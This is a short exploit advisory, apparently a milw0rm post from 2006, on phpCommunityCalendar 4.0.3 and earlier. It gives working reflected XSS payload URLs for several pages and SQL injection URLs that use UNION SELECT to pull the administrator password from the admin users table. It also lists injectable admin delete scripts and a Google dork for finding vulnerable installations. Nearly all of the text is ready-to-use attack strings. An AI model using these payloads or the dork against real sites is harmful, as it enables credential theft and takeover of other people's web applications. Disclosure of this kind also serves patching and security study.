phpCommunityCalendar <= 4.0.3 - Multiple (XSS/SQL) Vulnerabilities

################################################################################## #&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;&#60;# ################################################################################## # # # phpCommunityCalendar 4.0.3 Multiple Vulnerabilites # # # ################################################################################## #&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;&#62;# ################################################################################## # # # author : X0r_1 # # release : 23.05.06 # # software : http://www.appideas.com/ # # googledork : &#34;Calendar programming by AppIdeas.com&#34; filetype:php # # # ################################################################################## XSS: http://[SERVER]/[PATH]/week.php?LoName=&#60;script&#62;alert(&#39;XSS&#39;)&#60;/script&#62; http://[SERVER]/[PATH]/month.php?LoName=&#60;script&#62;alert(&#39;XSS&#39;)&#60;/script&#62; http://[SERVER]/[PATH]/event.php?AddressLink=&#34;&#62;&#60;script&#62;alert(&#39;XSS&#39;)&#60;/script&#62;&#60;&#34; SQL Injections: http://[SERVER]/[PATH]/month.php?query=CalendarDetailsID=-1) UNION SELECT Password,0 FROM phpcalendar_adminusers WHERE AdminUserID = 1/* http://[SERVER]/[PATH]/day.php?query=CalendarDetailsID=-1) UNION SELECT Password,0 FROM phpcalendar_adminusers WHERE AdminUserID = 1/* http://[SERVER]/[PATH]/event.php?ID=(1=1) [SQL] http://[SERVER]/[PATH]/admin/delCalendar.php?CalendarDetailsID=x&#39;[SQL] http://[SERVER]/[PATH]/admin/delAdmin.php?AdminUserID=x&#39; [SQL] http://[SERVER]/[PATH]/admin/delAddress.php?EventLocationID=x&#39; [SQL] http://[SERVER]/[PATH]/admin/delCategory.php?LocationID=x&#39; [SQL] # milw0rm.com [2006-05-23]